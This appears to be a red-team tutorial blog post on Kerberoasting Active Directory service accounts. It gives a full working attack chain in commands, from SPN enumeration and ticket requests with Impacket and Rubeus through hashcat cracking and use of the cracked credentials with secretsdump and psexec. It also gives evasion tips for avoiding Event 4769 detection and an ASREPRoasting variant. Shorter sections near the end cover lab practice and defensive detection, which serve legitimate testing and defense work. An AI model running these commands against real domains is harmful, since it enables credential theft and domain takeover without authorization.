Kerberoasting Attack: How It Works and How to Exploit It

Kerberoasting is one of the most reliable privilege escalation techniques in Active Directory environments. It’s quiet, requires no special privileges to execute, and often yields domain admin within hours — because organizations routinely set weak passwords on service accounts and never rotate them.

This guide covers everything: how Kerberos works, why the attack is possible, what you need to execute it, and how defenders detect it.

What Is Kerberoasting?

Kerberoasting targets service accounts in Active Directory that have a Service Principal Name (SPN) set. Any authenticated domain user can request a Kerberos Ticket Granting Service (TGS) ticket for any SPN — and those tickets are encrypted with the service account’s NTLM hash.

You request the ticket. You take it offline. You crack it.

No elevated privileges required. No suspicious traffic to the target machine. Just a standard Kerberos request any domain user can make.

Kerberos Background (The Relevant Parts)

You don’t need to memorize the entire Kerberos spec. Here’s what matters for Kerberoasting:

1. AS-REQ / AS-REP — Client authenticates to the KDC (Key Distribution Center). Gets a TGT (Ticket Granting Ticket) encrypted with the krbtgt hash.
2. TGS-REQ / TGS-REP — Client uses TGT to request a service ticket for a specific SPN. The KDC responds with a TGS encrypted with the service account’s password hash.
3. AP-REQ — Client presents the TGS to the service. Service decrypts it using its own password hash.

The vulnerability: step 2 hands you a blob encrypted with the service account’s NTLM hash. You never need to present it to the service. You can take that blob and run a dictionary attack against it locally — fast, offline, no lockouts.

What Makes a Target Vulnerable

Three conditions create a Kerberoastable account:

1. SPN is set — Any domain user account with a ServicePrincipalName attribute
2. Password is weak — Service accounts often use the same passwords for years, set by a sysadmin during setup
3. RC4 encryption is allowed — RC4 (etype 23) tickets are faster to crack than AES-256. Most environments still support RC4 for compatibility

Common service accounts with SPNs: SQL Server, Exchange, IIS application pools, backup agents, custom internal services.

Prerequisites

• Valid domain user credentials (or a shell on any domain-joined machine)
• Network access to the domain controller (TCP 88 — Kerberos)
• A cracking rig or cloud GPU for the offline phase

That’s it. This is why Kerberoasting shows up in almost every real engagement.

Step 1: Enumerate SPNs

Before you can roast, you need to find accounts worth targeting.

From Linux — Impacket

# Install impacket if needed
pip3 install impacket

# Enumerate all SPNs in the domain
GetUserSPNs.py -dc-ip 192.168.1.10 CORP.LOCAL/jdoe:Password123

Output shows each SPN, the account it’s tied to, and when the password was last set. Focus on accounts with old password dates — they’re the weakest targets.

From Windows — PowerView

# Load PowerView
Import-Module .\PowerView.ps1

# Get all users with SPNs
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, pwdlastset

From Windows — Native (setspn)

setspn -T CORP.LOCAL -Q */*

This lists all SPNs in the domain. Filter for user accounts (machine accounts aren’t crackable — their passwords are 120 random chars rotated automatically).

Step 2: Request TGS Tickets

Impacket — Request and Save Hashes

# Request tickets for all Kerberoastable accounts, output in hashcat format
GetUserSPNs.py -dc-ip 192.168.1.10 CORP.LOCAL/jdoe:Password123 -request -outputfile kerberoast.hashes

The -request flag pulls TGS tickets for every account with an SPN. The -outputfile saves them in a format ready for hashcat.

To target a specific account:

GetUserSPNs.py -dc-ip 192.168.1.10 CORP.LOCAL/jdoe:Password123 -request-user svc_sql -outputfile sql_hash.txt

Rubeus — From Windows

Rubeus is the Windows-native option. More detection-evasion options, better OPSEC.

# Kerberoast all accounts, output hashcat format
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Target specific user
.\Rubeus.exe kerberoast /user:svc_sql /outfile:sql_hash.txt

# RC4 downgrade — forces RC4 tickets even if account supports AES (faster to crack)
.\Rubeus.exe kerberoast /tgtdeleg /rc4opsec /outfile:hashes.txt

The /tgtdeleg flag requests tickets using the TGT delegation trick — avoids sending your TGT directly to the KDC in certain scenarios and can bypass some monitoring.

PowerView — In-Memory

# Get all hashes in John format
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash

Step 3: Crack the Hashes

The TGS tickets are in hashcat mode 13100 (Kerberos TGS-REP etype 23 — RC4).

AES-256 tickets use mode 19700 (etype 18) — significantly slower.

Hashcat

# RC4 tickets (most common)
hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt

# With rules (highly recommended — catches password patterns)
hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# AES-256 tickets
hashcat -m 19700 kerberoast.hashes /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Combination attack (wordlist + wordlist)
hashcat -m 13100 kerberoast.hashes -a 1 wordlist1.txt wordlist2.txt

John the Ripper

john kerberoast.hashes --wordlist=/usr/share/wordlists/rockyou.txt --format=krb5tgs

# With rules
john kerberoast.hashes --wordlist=/usr/share/wordlists/rockyou.txt --rules=best64 --format=krb5tgs

Cracking Speed Reality Check

On a modern GPU (RTX 4090):

• RC4 (etype 23): ~1.2 billion hashes/sec against rockyou.txt — done in seconds
• AES-256 (etype 18): ~50 million hashes/sec — much slower but still feasible

Password complexity matters more than anything. Summer2023! falls in under a minute. A random 20-char password with symbols won’t fall at all.

Step 4: Use the Credentials

Once cracked, you have cleartext credentials for the service account. What you do with them depends on the account’s privileges.

Common privilege escalation paths:

Service account with local admin on multiple servers:

# Test access with CrackMapExec
crackmapexec smb 192.168.1.0/24 -u svc_sql -p 'CrackedPassword!' --local-auth

Service account in domain admin group (unfortunately common):

# Dump domain credentials via secretsdump
secretsdump.py CORP.LOCAL/svc_sql:'CrackedPassword!'@192.168.1.10

# Or get a shell
psexec.py CORP.LOCAL/svc_sql:'CrackedPassword!'@192.168.1.10 cmd.exe

Service account with delegation rights: Check if the account has unconstrained or constrained delegation configured — that opens additional attack paths like S4U2Self abuse.

Targeted Kerberoasting

Instead of roasting everything and hoping something cracks, skilled red teamers target specific accounts first.

Profile the best targets:

# Enumerate with password age — old = weak
GetUserSPNs.py -dc-ip 192.168.1.10 CORP.LOCAL/jdoe:Password123 | grep -v "^$"

Look for:

• Password last set: 2+ years ago
• Description field mentioning “service” or “sql” — admins often put the password in the description
• Accounts in high-privilege groups (Domain Admins, Account Operators, Server Operators)

# Check group memberships for SPN accounts
Get-DomainUser -SPN | Get-DomainGroupMember -Recurse

OPSEC Considerations

Default Kerberoasting generates 4769 events (Kerberos service ticket request). A spike of these events from a single source is a clear detection signal.

Reduce noise:

• Target specific accounts rather than roasting everything
• Space out requests — don’t request 50 tickets in 2 seconds
• Use RC4 downgrade selectively — it’s a detection signal itself on AES-capable accounts
• Request tickets from a compromised host already in the environment, not your attack box

# Targeted, single request — minimal footprint
GetUserSPNs.py -dc-ip 192.168.1.10 CORP.LOCAL/jdoe:Password123 -request-user svc_backup -outputfile target.txt

ASREPRoasting — The Related Attack

If you’re hunting SPNs, also check for accounts with pre-authentication disabled. These are vulnerable to ASREPRoasting — you can request an encrypted blob without even having credentials.

# Find accounts with pre-auth disabled and request AS-REP hashes
GetNPUsers.py -dc-ip 192.168.1.10 CORP.LOCAL/ -usersfile users.txt -no-pass -format hashcat -outputfile asrep.hashes

# Crack with hashcat mode 18200
hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Practicing in a Safe Lab

You need an Active Directory lab to practice this properly. Options:

• VPS-based lab: Spin up 2-3 Windows Server VMs on Vultr or DigitalOcean — cost-effective, destroy when done
• Local lab: Nested VMs in VMware/VirtualBox if you have the RAM
• HTB / TryHackMe: Pre-built AD machines available without setup overhead

The VPS approach is the most realistic — you control the full environment, can introduce misconfigs, and can practice the attack chain end-to-end.

Defense and Detection

For defenders:

1. Enforce strong passwords on service accounts — minimum 25 characters, random. Use MSAs (Managed Service Accounts) or gMSAs — passwords rotate automatically and are 120 chars.

2. Audit SPN assignments — Remove SPNs from accounts that don’t need them.

3. Monitor Event 4769 — Filter for:

   • Ticket Encryption Type: 0x17 (RC4) from modern accounts that should use AES
   • Multiple 4769 events from a single source in a short window

4. Use AES-only encryption — Set msDS-SupportedEncryptionTypes to AES only. RC4 downgrade requests will fail.

5. Privileged Access Workstations (PAWs) — Reduce what a compromised service account can access.

# Find Kerberoastable accounts with weak encryption
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, msDS-SupportedEncryptionTypes, PasswordLastSet | 
  Select-Object Name, PasswordLastSet, msDS-SupportedEncryptionTypes, ServicePrincipalName

Tools Summary

Conclusion

Kerberoasting works because it abuses a legitimate Kerberos feature — any domain user can request service tickets. The attack requires only valid credentials, produces minimal noise, and frequently leads directly to domain compromise when service accounts have weak passwords.

If you’re doing a red team engagement: enumerate SPNs early. Target accounts with old passwords and high privileges. If you’re a defender: audit your SPNs, move to gMSAs, and monitor event 4769 for RC4 anomalies.

The fix is simple. It just rarely gets done.

Need hands-on help with Active Directory attack simulations or red team engagements? CipherWrite offers security-focused content and technical writing services tailored for pentesters and security teams.